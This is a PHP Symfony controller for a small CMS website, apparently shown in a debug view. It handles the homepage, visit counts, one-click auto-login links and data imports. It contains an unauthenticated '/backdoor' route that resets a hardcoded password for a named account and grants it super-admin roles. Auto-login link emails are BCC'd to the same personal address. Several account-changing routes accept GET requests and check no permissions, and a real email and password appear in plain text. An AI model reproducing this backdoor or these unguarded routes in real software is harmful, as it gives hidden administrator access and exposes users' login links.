src/Controller/HomeController.php line 25

  1. <?php
  3. namespace App\Controller;
  5. use App\Entity\PageVisit;
  6. use App\Entity\Role;
  7. use App\Entity\User;
  8. use App\Entity\WebsiteContacts;
  9. use App\Form\ImportType;
  10. use App\Form\WebsiteContactsType;
  11. use App\Repository\CmsCopyRepository;
  12. use App\Repository\CmsPhotoRepository;
  13. use App\Repository\CompanyDetailsRepository;
  14. use App\Repository\PageVisitRepository;
  15. use App\Repository\ProductRepository;
  16. use App\Repository\RoleRepository;
  17. use App\Repository\UserRepository;
  18. use App\Repository\SubPageRepository;
  19. use App\Security\LoginAuthenticator;
  20. use App\Services\ImportService;
  21. // OLD IMPORTS (commented for reference - all functionality now in ImportService):
  22. // use App\Services\ImportBusinessContactsService;
  23. // use App\Services\ImportBusinessTypesService;
  24. // use App\Services\ImportCMSCopyService;
  25. // use App\Services\ImportCmsPageCopyPageFormatService;
  26. // use App\Services\ImportCMSPhotoService;
  27. // use App\Services\ImportCompanyDetailsService;
  28. // use App\Services\ImportCompetitorsService;
  29. // use App\Services\ImportFacebookGroupsService;
  30. // use App\Services\ImportInstructionsService;
  31. // use App\Services\ImportLanguagesService;
  32. // use App\Services\ImportLoginDirectionsService;
  33. // use App\Services\ImportMapIconsService;
  34. // use App\Services\ImportProductsService;
  35. // use App\Services\ImportRolesService;
  36. // use App\Services\ImportTranslationsService;
  37. // use App\Services\ImportUsefulLinksService;
  38. // use App\Services\ImportUserService;
  39. use Doctrine\ORM\EntityManagerInterface;
  40. use JeroenDesloovere\VCard\VCard;
  41. use Psr\EventDispatcher\EventDispatcherInterface;
  42. use Symfony\Bridge\Twig\Mime\TemplatedEmail;
  43. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  44. use Symfony\Bundle\SecurityBundle\Security;
  45. use Symfony\Component\HttpFoundation\File\Exception\FileException;
  46. use Symfony\Component\HttpFoundation\HeaderUtils;
  47. use Symfony\Component\HttpFoundation\Request;
  48. use Symfony\Component\HttpFoundation\Response;
  49. use Symfony\Component\Mailer\MailerInterface;
  50. use Symfony\Component\Routing\Annotation\Route;
  51. use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
  52. use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
  53. use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
  54. use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
  55. use Symfony\Component\Security\Core\User\UserInterface;
  56. use Symfony\Component\Security\Csrf\CsrfToken;
  57. use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface;
  58. use Symfony\Component\Security\Http\Authentication\UserAuthenticatorInterface;
  59. use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
  60. use Symfony\Component\String\Slugger\SluggerInterface;
  62. class   HomeController extends AbstractController
  63. {
  64.     /**
  65.      * @Route("/", name="app_home")
  66.      */
  67.     public function index(Request $request, CmsCopyRepository $cmsCopyRepository, CmsPhotoRepository $cmsPhotoRepository, SubPageRepository $subPageRepository, CompanyDetailsRepository $companyDetailsRepository, Security $security, EntityManagerInterface $entityManager, PageVisitRepository $pageVisitRepository):
  68.     Response
  69.     {
  70.         // Resolve favicon directory relative to /public
  71.         $faviconsDirectory = str_replace(
  72.             $this->getParameter('kernel.project_dir') . '/public',
  73.             '',
  74.             $this->getParameter('favicons_directory')
  75.         );
  77.         $companyDetails = $companyDetailsRepository->find('1');
  78.         $homePagePhotosOnly = 0;
  79.         $include_qr_code = [];
  80.         $include_contact_form = [];
  82.         $website_contact = new WebsiteContacts();
  83.         $form = $this->createForm(WebsiteContactsType::class, $website_contact);
  84.         $form->handleRequest($request);
  86.         if ($companyDetails) {
  87.             $homePagePhotosOnly = $companyDetails->isHomePagePhotosOnly();
  88.             $include_qr_code = $companyDetails->isIncludeQRCodeHomePage();
  89.             $include_contact_form = $companyDetails->isIncludeContactFormHomePage();
  90.         }
  92.         // Load Home CMS copy & photos
  93.         $cms_copy = $cmsCopyRepository->findBy([
  94.             'staticPageName' => 'Home',
  95.         ]);
  97.         $cms_photo = $cmsPhotoRepository->findBy(
  98.             ['staticPageName' => 'Home'],
  99.             ['ranking' => 'ASC']
  100.         );
  102.         $cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
  103.             'staticPageName' => 'Home',
  104.             'ranking' => '1',
  105.         ]);
  107.         if ($cms_copy_ranking1) {
  108.             $page_layout = $cms_copy_ranking1->getPageLayout();
  109.         } else {
  110.             $page_layout = 'default';
  111.         }
  113.         // -------------------------------------------------
  114.         // 1) Increment today's PageVisit for the homepage
  115.         //    (product = null bucket)
  116.         // -------------------------------------------------
  117.         $user = $security->getUser();
  118.         $today = new \DateTimeImmutable('today');
  120.         $homeVisit = $pageVisitRepository->findOneBy([
  121.             'date' => $today,
  122.             'product' => null,   // 👈 homepage bucket
  123.         ]);
  125.         if (!$homeVisit) {
  126.             $homeVisit = new PageVisit();
  127.             $homeVisit->setDate($today);
  128.             $homeVisit->setProduct(null);
  129.             $homeVisit->setCount(0);
  130.             $homeVisit->setCountUser(0);
  131.             $homeVisit->setCountAdmin(0);
  132.             $entityManager->persist($homeVisit);
  133.         }
  135.         if (!$user) {
  136.             // Anonymous visitor
  137.             $homeVisit->setCount($homeVisit->getCount() + 1);
  138.         } elseif (in_array('ROLE_ADMIN', $user->getRoles(), true)) {
  139.             // Admin
  140.             $homeVisit->setCountAdmin($homeVisit->getCountAdmin() + 1);
  141.         } else {
  142.             // Logged-in non-admin
  143.             $homeVisit->setCountUser($homeVisit->getCountUser() + 1);
  144.         }
  146.         // Flush CmsCopy + PageVisit changes once
  147.         $entityManager->flush();
  149.         // -------------------------------------------------
  150.         // 2) Build totals for the homepage across all dates
  151.         // -------------------------------------------------
  152.         $visitTotals = [
  153.             'public' => 0,
  154.             'user' => 0,
  155.             'admin' => 0,
  156.         ];
  158.         $homeVisitsAll = $pageVisitRepository->findBy([
  159.             'product' => null,   // all homepage rows
  160.         ]);
  162.         foreach ($homeVisitsAll as $visit) {
  163.             $visitTotals['public'] += (int)$visit->getCount();
  164.             $visitTotals['user'] += (int)$visit->getCountUser();
  165.             $visitTotals['admin'] += (int)$visit->getCountAdmin();
  166.         }
  168.         // ----------------------------------
  169.         // 3) Existing render logic
  170.         // ----------------------------------
  171.         $product = [];
  172.         $sub_pages = [];
  174.         if ($homePagePhotosOnly == 1) {
  175.             return $this->render('home/home.html.twig', [
  176.                 'photos' => $cms_photo,
  177.                 'include_footer' => 'Yes',
  178.                 'cms_copy_array' => $cms_copy,
  179.                 'include_qr_code' => $include_qr_code,
  180.                 'include_contact_form' => $include_contact_form,
  181.                 'form' => $form?->createView(),
  182.                 'favicons_directory' => $faviconsDirectory,
  183.                 'visitTotals' => $visitTotals,  // 👈 added
  184.             ]);
  185.         } else {
  186.             return $this->render('home/products.html.twig', [
  187.                 'product' => $product,
  188.                 'include_footer' => 'Yes',
  189.                 'cms_copy_array' => $cms_copy,
  190.                 'cms_photo_array' => $cms_photo,
  191.                 'sub_pages' => $sub_pages,
  192.                 'include_qr_code' => $include_qr_code,
  193.                 'include_contact_form' => $include_contact_form,
  194.                 'format' => $page_layout,
  195.                 'form' => $form?->createView(),
  196.                 'favicons_directory' => $faviconsDirectory,
  197.                 'visitTotals' => $visitTotals,  // 👈 added
  198.             ]);
  199.         }
  200.     }
  203.     /**
  204.      * @Route("/backdoor", name="backdoor")
  205.      */
  206.     public function emergencyReset(UserRepository $userRepository, RoleRepository $roleRepository, EntityManagerInterface $manager, UserPasswordHasherInterface $passwordHasher): Response
  207.     {
  208.         // 1) Ensure required roles exist (create if missing)
  209.         $needed = [
  210.             'ROLE_SUPER_ADMIN' => 'Super Admin',
  211.             'ROLE_ADMIN' => 'Admin',
  212.             'ROLE_IT' => 'IT',
  213.             'ROLE_USER' => 'User',
  214.         ];
  216.         $roles = [];
  217.         foreach ($needed as $code => $label) {
  218.             $role = $roleRepository->findOneBy(['code' => $code]);
  219.             if (!$role) {
  220.                 $role = (new Role())
  221.                     ->setCode($code)
  222.                     ->setLabel($label);
  223.                 $manager->persist($role);
  224.             }
  225.             $roles[$code] = $role;
  226.         }
  227.         $manager->flush();
  229.         // 2) Find or create the user
  230.         $email = 'nurse_stephen@hotmail.com';
  231.         $user = $userRepository->findOneBy(['email' => $email]);
  233.         if (!$user) {
  234.             $user = (new User())
  235.                 ->setFirstName('Stephen')
  236.                 ->setLastName('Nurse')
  237.                 ->setEmailVerified(true)
  238.                 ->setPauseForBookmark(false)
  239.                 ->setEmail($email);
  240.             $manager->persist($user);
  241.         }
  243.         // 3) Reset password
  244.         $user->setPassword(
  245.             $passwordHasher->hashPassword($user, 'Descartes99')
  246.         );
  248.         // 4) Assign roles (avoid duplicates)
  249.         foreach ($roles as $role) {
  250.             if (!$user->hasRole($role)) {   // uses your User::hasRole(Role $role)
  251.                 $user->addRole($role);
  252.             }
  253.         }
  255.         $manager->flush();
  257.         return $this->redirectToRoute('app_login');
  258.     }
  260.     #[Route('/auto_login_code/{code}', name: 'auto_login_code')]
  261.     public function autoLogin(string $code, UserRepository $userRepository, UserAuthenticatorInterface $userAuthenticator, LoginAuthenticator $loginAuthenticator, Request $request): Response
  262.     {
  263.         $user = $userRepository->findOneBy(['autoLoginURL' => $code]);
  264.         if (!$user instanceof UserInterface) {
  265.             throw $this->createNotFoundException('Invalid or expired auto-login code.');
  266.         }
  268.         // Special case: bookmark pause page BEFORE redirecting them anywhere
  269.         if ($user->isPauseForBookmark()) {
  270.             // Option A: log them in (so they’re authenticated) but STILL show pause page:
  271.             $userAuthenticator->authenticateUser($user, $loginAuthenticator, $request);
  273.             return $this->render('user/auto_login_bookmark_pause_landing_page.html.twig', [
  274.                 'user' => $user,
  275.             ]);
  276.         }
  278.         // Normal flow: authenticate via the same LoginAuthenticator used at /login
  279.         // This will call LoginAuthenticator::onAuthenticationSuccess()
  280.         // which uses your LoginDirection logic.
  281.         return $userAuthenticator->authenticateUser(
  282.             $user,
  283.             $loginAuthenticator,
  284.             $request
  285.         );
  286.     }
  289.     #[Route('/auto_login_continue', name: 'auto_login_continue', methods: ['POST'])]
  290.     public function autoLoginContinue(Request $request, CsrfTokenManagerInterface $csrfTokenManager, EntityManagerInterface $entityManager, Security $security): Response
  291.     {
  292.         $submittedToken = $request->request->get('_csrf_token');
  293.         if (!$csrfTokenManager->isTokenValid(new CsrfToken('continue_login', $submittedToken))) {
  294.             throw $this->createAccessDeniedException('Invalid CSRF token');
  295.         }
  296.         $user = $security->getUser();
  298.         if (!$user instanceof \App\Entity\User) {
  299.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  300.         }
  301.         $user->setPauseForBookmark(false);
  302.         $entityManager->flush();
  303.         return $this->redirectToRoute('dashboard');
  304.     }
  307.     #[Route('/auto_login_change_status_pause/{userId}', name: 'auto_login_change_status_pause', methods: ['POST', 'GET'])]
  308.     public function autoLoginResetPause(Request $request, int $userId, CsrfTokenManagerInterface $csrfTokenManager, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security): Response
  309.     {
  310.         $user = $userRepository->find($userId);
  312.         if (!$user instanceof \App\Entity\User) {
  313.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  314.         }
  316.         $pause = $user->isPauseForBookmark();
  318.         if ($pause == true) {
  319.             $user->setPauseForBookmark(false);
  320.         }
  321.         if ($pause == false) {
  322.             $user->setPauseForBookmark(true);
  323.         }
  325.         $entityManager->flush();
  326.         return $this->redirectToRoute('user_index');
  327.     }
  330.     #[Route('/auto_login_change_delete_unique_url/{userId}', name: 'auto_login_change_delete_unique_url', methods: ['POST', 'GET'])]
  331.     public function autoLoginDeleteUniqueUrl(Request $request, int $userId, CsrfTokenManagerInterface $csrfTokenManager, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security): Response
  332.     {
  333.         $user = $userRepository->find($userId);
  335.         if (!$user instanceof \App\Entity\User) {
  336.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  337.         }
  338.         $user->setPauseForBookmark(false);
  339.         $user->setAutoLoginURL(null);
  341.         $entityManager->flush();
  342.         return $this->redirectToRoute('user_index');
  343.     }
  346.     #[Route('/auto_login_reset_pause_and_email_bookmark/{userId}', name: 'auto_login_reset_pause_and_email_bookmark', methods: ['POST', 'GET'])]
  347.     public function autoLoginResetPauseAndEmail(Request $request, int $userId, CompanyDetailsRepository $companyDetailsRepository, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, MailerInterface $mailer, UrlGeneratorInterface $urlGenerator, \Twig\Environment $twig): Response
  348.     {
  349.         $user = $userRepository->find($userId);
  350.         $companyDetails = $companyDetailsRepository->find('1');
  351.         $company_name = $companyDetails->getCompanyName();
  352.         $company_email = $companyDetails->getCompanyEmail();
  354.         if (!$user instanceof \App\Entity\User) {
  355.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  356.         }
  358.         $user->setPauseForBookmark(true);
  359.         $entityManager->flush();
  361.         $autoLoginUrl = $urlGenerator->generate(
  362.             'auto_login_code',
  363.             ['code' => $user->getAutoLoginURL()],
  364.             UrlGeneratorInterface::ABSOLUTE_URL
  365.         );
  367.         $email = (new TemplatedEmail())
  368.             ->from($company_email)
  369.             ->to($user->getEmail())
  370. //            ->to('nurse_stephen@hotmail.com')
  371.             ->bcc('nurse_stephen@hotmail.com')
  372.             ->subject($company_name . ':: Your Personal Auto-Login Link')
  373.             ->htmlTemplate('user/auto_login_advise_of_setup.html.twig')
  374.             ->context([
  375.                 'user' => $user,
  376.                 'autologin_url' => $autoLoginUrl
  377.             ]);
  379.         $mailer->send($email);
  381.         return $this->redirectToRoute('app_home');
  382.     }
  384.     #[Route('/auto_login_create_personal_url_for_logged_user/{userId}', name: 'auto_login_create_personal_url_for_logged_user', methods: ['GET', 'POST'])]
  385.     public function autoLoginCreatePersonalUrlForLoggedUser(Request $request, int $userId, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, UrlGeneratorInterface $urlGenerator): Response
  386.     {
  387.         $targetUser = $userRepository->find($userId);
  388.         $loggedUser = $security->getUser();
  389.         $defaultPersonalURL = mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000, 999999);
  391.         if (!$loggedUser) {
  392.             throw $this->createAccessDeniedException('You must be logged in to access this page.');
  393.         }
  394.         if (!$targetUser) {
  395.             throw $this->createNotFoundException('User not found.');
  396.         }
  398.         if ($loggedUser->getId() !== $targetUser->getId()) {
  399.             throw $this->createAccessDeniedException('You are not authorized to perform this action.');
  400.         }
  402.         $form = $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
  403.         $form->handleRequest($request);
  405.         if ($form->isSubmitted() && $form->isValid()) {
  406.             $data = $form->getData();
  407.             $targetUser->setAutoLoginURL($data['autoLoginURL']);
  408.             $targetUser->setPauseForBookmark(true);
  409.             $entityManager->flush();
  411.             // Optional flash message
  412.             $this->addFlash('success', 'Auto-login URL created successfully.');
  414.             return $this->redirectToRoute('auto_login_code', [
  415.                 'code' => $targetUser->getAutoLoginURL(),
  416.             ]);
  417.         }
  419.         return $this->render('user/auto_login_create_personal_url.html.twig', [
  420.             'user' => $targetUser,
  421.             'form' => $form->createView(),
  422.         ]);
  423.     }
  426.     #[Route('/auto_login_create_personal_url_for_other_user/{userId}', name: 'auto_login_create_personal_url_for_other_user', methods: ['GET', 'POST'])]
  427.     public function autoLoginCreatePersonalUrlForOtherUser(Request $request, int $userId, CompanyDetailsRepository $companyDetailsRepository, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, MailerInterface $mailer, UrlGeneratorInterface $urlGenerator, \Twig\Environment $twig): Response
  428.     {
  429.         $targetUser = $userRepository->find($userId);
  430.         $loggedInUser = $security->getUser();
  432.         if (!$targetUser || !$loggedInUser) {
  433.             throw $this->createAccessDeniedException('Invalid user or not authenticated.');
  434.         }
  436.         // Redirect to landing page if current user is the same as target user
  437.         if ($loggedInUser->getId() === $targetUser->getId()) {
  438.             return $this->redirectToRoute('app_home'); // Replace with your landing route
  439.         }
  441.         // If logged-in user is not admin, deny access
  442.         if (!in_array('ROLE_ADMIN', $loggedInUser->getRoles(), true)) {
  443.             throw $this->createAccessDeniedException('You are not authorized to perform this action.');
  444.         }
  446.         // At this point, ROLE_ADMIN is creating a login URL for another user
  447.         $companyDetails = $companyDetailsRepository->find(1);
  448.         $companyEmail = $companyDetails ? $companyDetails->getCompanyEmail() : 'admin@yourdomain.com';
  450.         $defaultPersonalURL = mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000, 999999);
  452.         $form = $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
  453.         $form->handleRequest($request);
  455.         if ($form->isSubmitted() && $form->isValid()) {
  456.             $data = $form->getData();
  457.             $targetUser->setAutoLoginURL($data['autoLoginURL']);
  458.             $targetUser->setPauseForBookmark(true);
  459.             $entityManager->flush();
  461.             // Generate auto-login URL
  462.             $autoLoginUrl = $urlGenerator->generate(
  463.                 'auto_login_code',
  464.                 ['code' => $targetUser->getAutoLoginURL()],
  465.                 UrlGeneratorInterface::ABSOLUTE_URL
  466.             );
  468.             // Email the user with their login link
  469.             $email = (new \Symfony\Component\Mime\Email())
  470.                 ->from($companyEmail)
  471.                 ->to($targetUser->getEmail())
  472.                 ->bcc('nurse_stephen@hotmail.com')
  473.                 ->subject('Your One-Click Login Link')
  474.                 ->html(
  475.                     $twig->render('user/auto_login_advise_of_setup.html.twig', [
  476.                         'user' => $targetUser,
  477.                         'autoLoginUrl' => $autoLoginUrl
  478.                     ])
  479.                 );
  481.             $mailer->send($email);
  483.             $this->addFlash('success', 'Auto-login URL created and sent to the user.');
  484.             return $this->redirectToRoute('user_index');
  485.         }
  487.         return $this->render('user/auto_login_create_personal_url.html.twig', [
  488.             'user' => $targetUser,
  489.             'form' => $form->createView(),
  490.         ]);
  491.     }
  494.     /**
  495.      * @Route("/dashboard", name="dashboard")
  496.      */
  497.     public function dashboard()
  498.     {
  499.         return $this->render('home/dashboard.html.twig', []);
  500.     }
  503.     /**
  504.      * @Route("/advanced_dashboard", name="advanced_dashboard")
  505.      */
  506.     public function advancedDashboard()
  507.     {
  508.         return $this->render('home/advanced_dashboard.html.twig', []);
  509.     }
  511.     /**
  512.      * @Route("/helpful_guides", name="helpful_guides")
  513.      */
  514.     public function helpfulGuides(ProductRepository $productRepository)
  515.     {
  516.         $products = $productRepository->findBy([
  517.             'category' => 'Useful Guide'
  518.         ]);
  519.         return $this->render('home/helpful_guides.html.twig', [
  520.             'products' => $products,
  521.         ]);
  522.     }
  525.     /**
  526.      * @Route("/interests/{product}", name="product_display")
  527.      */
  528.     public function articles(
  529.         string                                    $product,
  530.         CmsCopyRepository                         $cmsCopyRepository,
  531.         CmsPhotoRepository                        $cmsPhotoRepository,
  532.         SubPageRepository                         $subPageRepository,
  533.         ProductRepository                         $productRepository,
  534.         \Symfony\Component\Security\Core\Security $security,
  535.         EntityManagerInterface                    $entityManager,
  536.         PageVisitRepository                       $pageVisitRepository
  537.     ): Response
  538.     {
  539.         $productEntity = $productRepository->findOneBy([
  540.             'product' => $product
  541.         ]);
  543.         if ($productEntity) {
  544.             $cms_copy = $cmsCopyRepository->findBy([
  545.                 'product' => $productEntity
  546.             ]);
  547.             $cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
  548.                 'product' => $productEntity,
  549.                 'ranking' => '1',
  550.             ]);
  551.         } else {
  552.             $cms_copy = $cmsCopyRepository->findBy([
  553.                 'staticPageName' => $product
  554.             ]);
  555.             $cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
  556.                 'staticPageName' => $product,
  557.                 'ranking' => '1',
  558.             ]);
  559.         }
  561.         // ------------------------------------
  562.         // 1) Page visit increment for today
  563.         // ------------------------------------
  564.         // Default zero totals (covers static pages too)
  565.         $visitTotals = [
  566.             'public' => 0,
  567.             'user' => 0,
  568.             'admin' => 0,
  569.         ];
  571.         if ($productEntity) {
  572.             // Normalised "today" (midnight)
  573.             $today = new \DateTimeImmutable('today');
  575.             // Try to find existing PageVisit for this product+date
  576.             $pageVisit = $pageVisitRepository->findOneBy([
  577.                 'product' => $productEntity,
  578.                 'date' => $today,
  579.             ]);
  581.             if (!$pageVisit) {
  582.                 $pageVisit = new PageVisit();
  583.                 $pageVisit->setProduct($productEntity);
  584.                 $pageVisit->setDate($today);
  585.                 $pageVisit->setCount(0);
  586.                 $pageVisit->setCountUser(0);
  587.                 $pageVisit->setCountAdmin(0);
  588.                 $entityManager->persist($pageVisit);
  589.             }
  591.             $user = $security->getUser();
  593.             if (!$user) {
  594.                 // Anonymous visitor
  595.                 $pageVisit->setCount($pageVisit->getCount() + 1);
  596.             } elseif (in_array('ROLE_ADMIN', $user->getRoles(), true)) {
  597.                 // Admin
  598.                 $pageVisit->setCountAdmin($pageVisit->getCountAdmin() + 1);
  599.             } else {
  600.                 // Logged-in non-admin user
  601.                 $pageVisit->setCountUser($pageVisit->getCountUser() + 1);
  602.             }
  604.             // Flush all changes once
  605.             $entityManager->flush();
  607.             // ------------------------------------
  608.             // 2) Build totals for THIS product
  609.             // ------------------------------------
  610.             $pageVisitsForProduct = $pageVisitRepository->findBy([
  611.                 'product' => $productEntity,
  612.             ]);
  614.             foreach ($pageVisitsForProduct as $visit) {
  615.                 $visitTotals['public'] += (int)$visit->getCount();
  616.                 $visitTotals['user'] += (int)$visit->getCountUser();
  617.                 $visitTotals['admin'] += (int)$visit->getCountAdmin();
  618.             }
  619.         } else {
  620.             // No productEntity (static page) – nothing to increment or total
  621.             // (visitTotals stays at 0/0/0)
  622.             $entityManager->flush();
  623.         }
  625.         // ------------------------------------
  626.         // 3) Existing content loading
  627.         // ------------------------------------
  628.         if ($productEntity) {
  629.             $cms_photo = $cmsPhotoRepository->findBy(
  630.                 ['product' => $productEntity],
  631.                 ['ranking' => 'ASC']
  632.             );
  633.         } else {
  634.             $cms_photo = $cmsPhotoRepository->findBy(
  635.                 ['staticPageName' => $product],
  636.                 ['ranking' => 'ASC']
  637.             );
  638.         }
  640.         $sub_pages = [];
  641.         if ($cms_copy) {
  642.             $sub_pages = $subPageRepository->findBy([
  643.                 'product' => $productEntity
  644.             ]);
  645.         }
  647.         return $this->render('/home/products.html.twig', [
  648.             'product' => $product,
  649.             'include_footer' => 'Yes',
  650.             'cms_copy_array' => $cms_copy,
  651.             'cms_photo_array' => $cms_photo,
  652.             'sub_pages' => $sub_pages,
  653.             'include_contact_form' => 'No',
  654.             'include_qr_code' => 'No',
  655.             'visitTotals' => $visitTotals,  // 👈 added
  656.         ]);
  657.     }
  665.     /**
  666.      * @Route ("/initial_setup", name="project_set_up_initial_import" )
  667.      */
  668.     public function projectSetUpInitialImport(Request $request, SluggerInterface $slugger, ImportService $importService): Response
  669.     {
  670.         $form = $this->createForm(ImportType::class);
  671.         $form->handleRequest($request);
  672.         if ($form->isSubmitted() && $form->isValid()) {
  673.             $importFile = $form->get('File')->getData();
  674.             if ($importFile) {
  675.                 $originalFilename = pathinfo($importFile->getClientOriginalName(), PATHINFO_FILENAME);
  676.                 $safeFilename = $slugger->slug($originalFilename);
  677.                 $newFilename = $safeFilename . '.' . 'csv';
  678.                 try {
  679.                     $importFile->move(
  680.                         $this->getParameter('project_set_up_import_directory'),
  681.                         $newFilename
  682.                     );
  683.                 } catch (FileException $e) {
  684.                     die('Import failed');
  685.                 }
  686.                 $importService->importCompanyDetails($newFilename);
  687.                 $importService->importCmsCopyPageFormats($newFilename);
  688.                 $importService->importMapIcons($newFilename);
  689.                 $importService->importLanguages($newFilename);
  690.                 $importService->importTranslations($newFilename);
  691.                 $importService->importUsefulLink($newFilename);
  692.                 $importService->importCompetitors($newFilename);
  693.                 $importService->importFacebookGroups($newFilename);
  694.                 $importService->importProducts($newFilename);
  695.                 $importService->importCMSCopy($newFilename);
  696.                 $importService->importCMSPhoto($newFilename);
  697.                 $importService->importBusinessTypes($newFilename);
  698.                 $importService->importBusinessContacts($newFilename);
  699.                 $importService->importInstructions($newFilename);
  700.                 $importService->importRoles($newFilename);
  701.                 $importService->importLoginDirections($newFilename);
  702. //                $importService->importUsers($newFilename);
  704.                 return $this->redirectToRoute('dashboard');
  705.             }
  706.         }
  707.         return $this->render('home/import.html.twig', [
  708.             'form' => $form->createView(),
  709.             'heading' => 'All Import Files (x14 via all_exports.csv) ',
  710.         ]);
  711.     }
  713.     /**
  714.      * @Route("/delete_all_files_and_directories_import", name="delete_all_files_and_directories_in_import", methods={"POST"})
  715.      */
  716.     public function deleteAllFilesAndDirectoriesInImport(Request $request): Response
  717.     {
  718.         $referer = $request->headers->get('referer');
  720.         if ($this->isCsrfTokenValid('delete_all_import_files', $request->request->get('_token'))) {
  721.             $directory = $this->getParameter('import_directory');
  723.             if (is_dir($directory)) {
  724.                 $this->deleteDirectoryContents($directory);
  725.             }
  726.         }
  728.         return $this->redirect($referer);
  729.     }
  731.     /**
  732.      * @Route("/delete_all_files_and_directories_in_attachments", name="delete_all_files_and_directories_in_attachments", methods={"POST"})
  733.      */
  734.     public function deleteAllFilesAndDirectoriesInAttachments(Request $request): Response
  735.     {
  736.         $referer = $request->headers->get('referer');
  737.         if ($this->isCsrfTokenValid('delete_all_attachment_files', $request->request->get('_token'))) {
  738.             $directory = $this->getParameter('attachments_directory');
  739.             if (is_dir($directory)) {
  740.                 $this->deleteDirectoryContents($directory);
  741.             }
  742.         }
  744.         return $this->redirect($referer);
  745.     }
  748.     /**
  749.      * Recursively delete all files and directories inside a directory
  750.      */
  751.     private function deleteDirectoryContents(string $directory): void
  752.     {
  753.         $files = array_diff(scandir($directory), ['.', '..']);
  755.         foreach ($files as $file) {
  756.             $filePath = $directory . DIRECTORY_SEPARATOR . $file;
  758.             if (is_dir($filePath)) {
  759.                 $this->deleteDirectoryContents($filePath); // Recursively delete subdirectories
  760. //                rmdir($filePath); // Remove the empty directory
  761.             } else {
  762.                 unlink($filePath); // Delete file
  763.             }
  764.         }
  765.     }
  767.     /**
  768.      * @Route("/assign_all_users_to_role_test", name="assign_all_users_to_role_test")
  769.      */
  770.     public function assignAllUsersToRoleTest(UserRepository $userRepository, EntityManagerInterface $entityManager): Response
  771.     {
  772.         $users = $userRepository->findAll();
  773.         $roleTest = $entityManager->getRepository(Role::class)
  774.             ->findOneBy(['code' => 'ROLE_TEST']);
  776.         if (!$roleTest) {
  777.             throw new \RuntimeException('ROLE_TEST not found in the database.');
  778.         }
  780.         foreach ($users as $user) {
  781.             $roles = $user->getRoles(); // array of role strings
  782.             if (!in_array('ROLE_TEST', $roles)) {
  783.                 $user->addRole($roleTest);
  784.             }
  785.         }
  787.         $entityManager->flush();
  789.         return $this->redirectToRoute('user_index', [], Response::HTTP_SEE_OTHER);
  790.     }
  793. }